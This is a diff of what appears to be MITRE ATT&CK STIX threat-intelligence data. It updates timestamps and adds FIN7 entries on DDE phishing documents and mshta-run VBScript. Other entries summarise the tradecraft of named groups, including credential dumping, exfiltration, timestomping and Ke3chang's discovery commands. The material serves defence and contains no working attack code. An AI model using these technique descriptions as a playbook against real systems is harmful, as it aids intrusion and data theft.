             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN7 has created a scheduled task named \u201cAdobeFlashSync\u201d to establish persistence.",
             "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
@@ -27764,7 +32646,7 @@
             "id": "relationship--506acc8a-e691-4f4e-b69f-bfab84cf2c73",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN7 has used application shim databases for persistence.",
             "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
@@ -27780,12 +32662,54 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--51afbe4e-c5cd-4acd-b4e1-ff7877b78b9e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "FIN7 spear phishing campaigns have included malicious Word documents with DDE execution.",
+            "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
+            "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "CyberScoop FIN7 Oct 2017",
+                    "description": "Waterman, S. (2017, October 16). Fin7 weaponization of DDE is just their latest slick move, say researchers. Retrieved November 21, 2017.",
+                    "url": "https://www.cyberscoop.com/fin7-dde-morphisec-fileless-malware/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--9e77b81d-6298-4233-8baa-f419031a9d64",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "FIN7 has used mshta.exe to execute VBScript to execute malicious code on victim systems.",
+            "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
+            "target_ref": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "FireEye FIN7 April 2017",
+                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--b6eb09bc-fef4-4cf3-b337-dfe6bd87ca35",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.079Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
             "target_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351",
@@ -27798,7 +32722,7 @@
             "id": "relationship--e232f720-ab39-43f4-b419-ae8de115c5e6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.079Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
             "target_ref": "malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47",
@@ -27811,7 +32735,7 @@
             "id": "relationship--7577e14c-ceba-4646-98ce-41e7fa9ae851",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.080Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
             "target_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4",
@@ -27824,7 +32748,7 @@
             "id": "relationship--49d09bc3-cdc0-479b-8516-f64bff9b6757",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
             "target_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f",
@@ -27837,7 +32761,7 @@
             "id": "relationship--7db7f665-6e29-4789-8a3d-d6cb8d0af31e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.071Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "GCMAN uses Putty and VNC for lateral movement.",
             "source_ref": "intrusion-set--0ea72cd5-ca30-46ba-bc04-378f701c658f",
@@ -27849,7 +32773,7 @@
                 {
                     "source_name": "Securelist GCMAN",
                     "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, February 8). APT-style bank robberies increase with Metel, GCMAN and Carbanak 2.0 attacks. Retrieved April 20, 2016.",
-                    "url": "https://securelist.com/blog/research/73638/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/"
+                    "url": "https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/"
                 }
             ]
         },
@@ -27858,7 +32782,7 @@
             "id": "relationship--253b56a5-232f-44bc-af4d-85ccc12a0577",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.080Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Tools used by Gamaredon Group are capable of downloading and executing additional payloads.",
             "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
@@ -27879,7 +32803,7 @@
             "id": "relationship--f73df541-6b55-42d1-aec3-53660fda1508",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.080Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Gamaredon Group has used various batch scripts to establish C2, download additional files, and conduct other functions.",
             "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
@@ -27900,7 +32824,7 @@
             "id": "relationship--d30d8fa0-7f24-41e5-ae8d-e4449e88d2f0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.080Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Gamaredon Group tools contained an application to check performance of USB flash drives.",
             "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
@@ -27921,7 +32845,7 @@
             "id": "relationship--788e8246-d835-42c6-b8b4-7efad31e4a84",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.080Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A Gamaredon Group file stealer has the capability to steal data from newly connected logical volumes on a system, including USB drives.",
             "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
@@ -27942,7 +32866,7 @@
             "id": "relationship--d361058d-a11b-470d-bed8-44bfd8e50393",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.080Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A Gamaredon Group file stealer transfers collected files to a hardcoded C2 server.",
             "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
@@ -27963,7 +32887,7 @@
             "id": "relationship--c63c7dc5-e374-4bf0-9839-0f940ac6d46c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.080Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A Gamaredon Group file stealer can communicate over HTTP for C2.",
             "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
@@ -27984,7 +32908,7 @@
             "id": "relationship--36112f24-7814-4c75-b5b7-a1205bb28b68",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.080Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A Gamaredon Group file stealer can gather the victim's computer name and drive serial numbers to send to a C2 server.",
             "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
@@ -28005,7 +32929,7 @@
             "id": "relationship--a5ffea60-7694-48cd-92e9-b755669b2fdb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.080Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A Gamaredon Group file stealer can gather the victim's username to send to a C2 server.",
             "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
@@ -28026,7 +32950,7 @@
             "id": "relationship--4f33536d-eb06-4eba-8765-4379e399f3b8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.080Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
             "target_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
@@ -28039,7 +32963,7 @@
             "id": "relationship--c3a1969b-1edb-4a78-80ab-b122cc2822e4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.078Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Group5 disguised its malicious binaries with several layers of obfuscation, including encrypting the files.",
             "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40",
@@ -28060,7 +32984,7 @@
             "id": "relationship--b9083516-7dd3-4ef2-808a-1df48894122b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.078Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Group5 packed an executable by base64 encoding the PE file and breaking it up into numerous lines.",
             "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40",
@@ -28081,7 +33005,7 @@
             "id": "relationship--8447c89e-a743-430e-8ef5-41abfcde1a01",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.078Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Malware used by Group5 is capable of capturing keystrokes.",
             "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40",
@@ -28102,7 +33026,7 @@
             "id": "relationship--8e69c855-db70-4b5e-866b-f9ce0b786156",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.078Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Malware used by Group5 is capable of watching the victim's screen.",
             "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40",
@@ -28123,7 +33047,7 @@
             "id": "relationship--a9bc7666-f637-4093-a5bb-4edb61710e45",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.078Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Malware used by Group5 is capable of remotely deleting files from victims.",
             "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40",
@@ -28144,7 +33068,7 @@
             "id": "relationship--05604d66-735a-4369-bc31-c7915bb3f2e0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.079Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Group5 C2 servers communicated with malware over TCP 8081, 8282, and 8083.",
             "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40",
@@ -28165,7 +33089,7 @@
             "id": "relationship--a5a63d5c-acf7-4720-866d-fcf6e576a58f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.032Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Malware used by Ke3chang can run commands on the command-line interface.",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
@@ -28186,7 +33110,7 @@
             "id": "relationship--c8db7b65-563d-47ba-9e06-cabdbade47e9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.033Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Ke3chang dumps credentials.",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
@@ -28207,7 +33131,7 @@
             "id": "relationship--ab7eb363-c775-4065-a80d-1b324f22d0b8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.033Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Ke3chang group has been known to compress data before exfiltration.",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
@@ -28228,7 +33152,7 @@
             "id": "relationship--bde913a9-9895-4414-b79a-3156159033aa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.033Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Ke3chang is known to use RAR with passwords to encrypt data prior to exfiltration.",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
@@ -28249,7 +33173,7 @@
             "id": "relationship--49f2c182-bd69-4874-9102-b5fd1acac59c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.033Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Ke3chang transferred compressed and encrypted RAR files containing exfiltration through the established backdoor command and control channel during operations.",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
@@ -28270,7 +33194,7 @@
             "id": "relationship--8c763d80-4c50-4ebd-b2c6-3cad22c55bfa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.034Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Ke3chang gathered information and files from local directories for exfiltration.",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
@@ -28291,7 +33215,7 @@
             "id": "relationship--5c8fba10-9d8a-4257-a458-8f58efc8d912",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.033Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Ke3chang uses command-line interaction to search files and directories.",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
@@ -28312,7 +33236,7 @@
             "id": "relationship--b368c7c2-a593-45cb-b557-aac668a02656",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.033Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Ke3chang performs discovery of permission groups <code>net group /domain</code>.",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
@@ -28333,7 +33257,7 @@
             "id": "relationship--eaa06586-e33e-4e4c-91ca-76935c22e012",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.033Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Ke3chang performs local network connection discovery using <code>netstat -ano</code> commands.",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
@@ -28354,7 +33278,7 @@
             "id": "relationship--6fb6c639-cefa-4c7f-af89-26cb5fcd4030",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.033Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Ke3chang performs local network configuration discovery using <code>ipconfig /all</code>.",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
@@ -28375,7 +33299,7 @@
             "id": "relationship--f865403f-5b4a-4e5a-bb50-8d416ad36db4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.033Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Ke3chang performs operating system information discovery using <code>systeminfo</code> commands.",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
@@ -28396,7 +33320,7 @@
             "id": "relationship--c7e6d4a6-8d99-4134-848a-f4f712eb4316",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.033Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Ke3chang performs process discovery using <code>tasklist</code> commands.",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
@@ -28417,7 +33341,7 @@
             "id": "relationship--7b529102-f95c-4ca1-a5c4-5a3497ab3674",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.033Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Ke3chang performs service discovery using <code>net start</code> commands.",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
@@ -28438,7 +33362,7 @@
             "id": "relationship--42d2f816-9db2-47bf-9481-3065d038725d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.034Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Ke3chang actors have been known to copy files to the network shares of other computers to move laterally.",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
@@ -28459,7 +33383,7 @@
             "id": "relationship--20f863a1-f7de-4d66-a564-c4adee24fdbe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.034Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Ke3chang performs account discovery using commands such as <code>net localgroup administrators</code> and <code>net group \"REDACTED\" /domain</code> on specific permissions groups.",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
@@ -28480,7 +33404,7 @@
             "id": "relationship--77f9936d-1ba7-42a8-879d-1a6e90156366",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.034Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
             "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
@@ -28493,7 +33417,7 @@
             "id": "relationship--f879eea1-2a05-484d-adbb-c3504813fc5d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.034Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
             "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11",
@@ -28506,7 +33430,7 @@
             "id": "relationship--325ccde0-2d5a-4306-9c4e-e1a554ee0d87",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.034Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
             "target_ref": "tool--4664b683-f578-434f-919b-1c1aad2a1111",
@@ -28519,7 +33443,7 @@
             "id": "relationship--301de16e-3829-4fb0-b217-dcdfca7398c9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.034Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
             "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1",
@@ -28532,7 +33456,7 @@
             "id": "relationship--3afd226c-934f-44fd-8194-9a6dee5cba59",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.065Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware uses multiple types of encryption and encoding in its malware files, including AES, Caracachs, RC4, basic XOR with constant 0xA7, and other techniques.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -28563,7 +33487,7 @@
             "id": "relationship--b51f3b69-d62b-4ccf-9ce8-62ec7f934e4b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.065Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware uses a unique form of communication encryption that mimics TLS but uses a different encryption method, evading SSL man-in-the-middle decryption attacks.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -28584,7 +33508,7 @@
             "id": "relationship--4c06e313-2cde-494c-a8dc-449649a1afa6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.066Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware uses Caracachs encryption to encrypt C2 payloads.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -28605,7 +33529,7 @@
             "id": "relationship--979812c4-939e-4a7e-96b3-348028db10ce",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.066Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware contains \"suicide scripts\" to delete malware binaries from the victim. It also uses secure file deletion to delete files from the victim.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -28626,7 +33550,7 @@
             "id": "relationship--bd745d11-93d8-45db-8a68-08a52383375a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.066Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Several Lazarus Group malware samples use a common function to identify target files by their extension. Lazarus Group malware families also enumerate files and directories on lettered drives.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -28647,7 +33571,7 @@
             "id": "relationship--e42eef1a-107e-40a3-9227-45621e277ff3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.066Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Several Lazarus Group malware families install themselves as new services on victims.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -28673,7 +33597,7 @@
             "id": "relationship--de376ec3-0fad-4c41-944d-2d74cee6968c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.066Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware uses cmd.exe to execute commands on victims.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -28699,7 +33623,7 @@
             "id": "relationship--4eec017c-8bf2-4eda-8c92-15926fc7e5aa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.066Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Several Lazarus Group malware families collect information on the type and version of the victim OS, as well as the victim computer name and CPU information.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -28730,7 +33654,7 @@
             "id": "relationship--d35f6c6f-c1ed-4b0d-b95f-9fd762eb3ac7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.066Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Several Lazarus Group malware families use timestomping, including modifying the last write timestamp of a specified Registry key to a random date, as well as copying the timestamp for legitimate .exe files (such as calc.exe or mspaint.exe) to its dropped files.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -28761,7 +33685,7 @@
             "id": "relationship--2325c0b2-fb89-44e1-9206-e495811f2907",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.066Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware WhiskeyDelta-Two contains a function that attempts to rename the administrator\u2019s account.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
@@ -28787,7 +33711,7 @@
